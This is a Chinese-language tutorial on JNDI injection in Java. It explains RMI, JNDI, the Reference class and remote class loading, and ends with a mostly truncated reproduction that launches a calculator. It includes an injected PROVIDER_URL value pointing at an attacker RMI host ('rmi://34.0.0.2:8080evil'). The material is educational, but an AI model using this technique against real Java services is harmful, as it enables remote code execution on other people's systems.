JNDI注入
前言
在关于java的一些漏洞中或多或少都看到了JNDI注入的踪迹,比如在java的一些反序列化漏洞中较为常见。浅浅看下JNDI是什么以及都可能会有哪些问题产生。
正文
在分析之前我们需要稍稍过一下这些玩意的概念RMI、JNDI、JRMP、LDAP。
RMI:RMI(Remote Method Invocation)基于序列化的java远程方法调用机制,作为一个常见的反序列化入口,它和反序列化漏洞的关系很大。它能够直接传输序列化后的java对象和分布式垃圾收集。 他的实现依赖于JAVA虚拟机(JVM)。因此它仅支持从一个JVM到另一个JVM的调用。
JNDI:JNDI (Java Naming and Directory Interface) 是一组应用程序接口,它为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定位用户、网络、机器、对象和服务等各种资源。JDNI支持通过url直接下载远程class文件的方式去加载执行服务。比如可以利用JNDI在局域网上定位一台打印机,也可以用JNDI来定位数据库服务或一个远程Java对象。JNDI底层支持RMI远程对象,RMI注册的服务可以通过JNDI接口来访问和调用。 JNDI支持多种命名和目录提供程序(Naming and Directory Providers),RMI注册表服务提供程序(RMI Registry Service Provider)允许通过JNDI应用接口对RMI中注册的远程对象进行访问操作。将RMI服务绑定到JNDI的一个好处是更加透明、统一和松散耦合,RMI客户端直接通过URL来定位一个远程对象,根据名字动态加载数据。
1
2 支持的服务主要有以下几种:
DNS、LDAP、CORBA对象服务、RMI
JRMP:JRMP(JAVA Remote Messageing Protocol)是一种协议,是RMI这行为过程中数据传输的规范。RMI涉及到两个端,一个是调用端,一个是被调用端,他们之间会有数据传输,JRMP协议就是对这种形式的数据传输进行规范定义的。就像HTTP协议一样,规定了客户端和服务端通信要满足的规范。
LDAP:LDAP(Light Weight Directory Access Protocol)是一个轻量级存取的协议。优点就在能够快速响应用户的查找需求。
至于JNDI在其中扮演什么的角色,我们简单画个图。用JNDI当做接口,可以轻松访问RMI,LDAP等服务。
RMI和JNDI工作原理
RMI是如何工作的
1 | 服务器创建好继承于Remote接口的类,并把它绑定到RMI服务器上 |
所以从RMI这一端来看,客户端获取了远程对象后所执行的此对象的方法,都是由RMI服务器来执行的,之后RMI服务器会向客户端返回stub或者说一个对象,那如何才能使对象在客户端实例化,方法在这边实现呢?那就要用到JDK中的Reference类了。Reference类表示对存在于命名/目录系统以外的对象的引用,如果远程获取 RMI 服务上的对象为 Reference 类或者其子类,则在客户端获取到远程对象存根实例时,可以从其他服务器上加载 .class 文件来进行实例化。
那如何创建一个Reference实例对象并绑定到RMI注册表呢?
1 | // 参数1为远程加载时所使用的类名, 参数2为要加载的类的完整类名,参数3为远程.class文件存放的地址 |
与RMI连用时JNDI如何工作
1 | 接收RMI传过来的对象 |
JNDI动态协议转换
1 | //初始化JNDI配置 |
在基本配置中PROVIDER_URL规定了,当在本地找不到对应的类时该去哪里加载对应类的地址,但是,lookup()方法存在时,可以无视该规定,会加载lookup的地址。
JNDI注入原理
假设client端地址为134.0.0.1,先来看下面一段,JNDI的client端的代码
1 | Context context = new InitialContext(); |
其中PROVIDER_URL为可控变量,此时,可以传入任意JNDI服务路径来实现注入,如
1 | ?PROVIDER_URL=rmi://34.0.0.2:8080evil |
当然,简单的加载远程类是能够在目标机器实例化对象的,因为目标机器并没有我们恶意类的.class文件,会用到前面提到的Reference。绑定了Reference之后,服务端会先通过Referenceable.getReference()获取绑定对象的引用,并且在目录中保存。当客户端在lookup()查找这个远程对象时,客户端会获取相应的object factory,最终通过factory类将reference转换为具体的对象实例。
受害机器得到指定类后,实例化对象,执行指定类的构造函数,触发恶意代码。
复现
1 | //恶意对象 |
1 | //服务端RMI配置,绑定恶意的Reference到rmi注册表 |
1 | //目标 |
编译成.class文件,最后运行”目标”代码,弹出计算器。JDK版本为1.7,其他高版本会报错。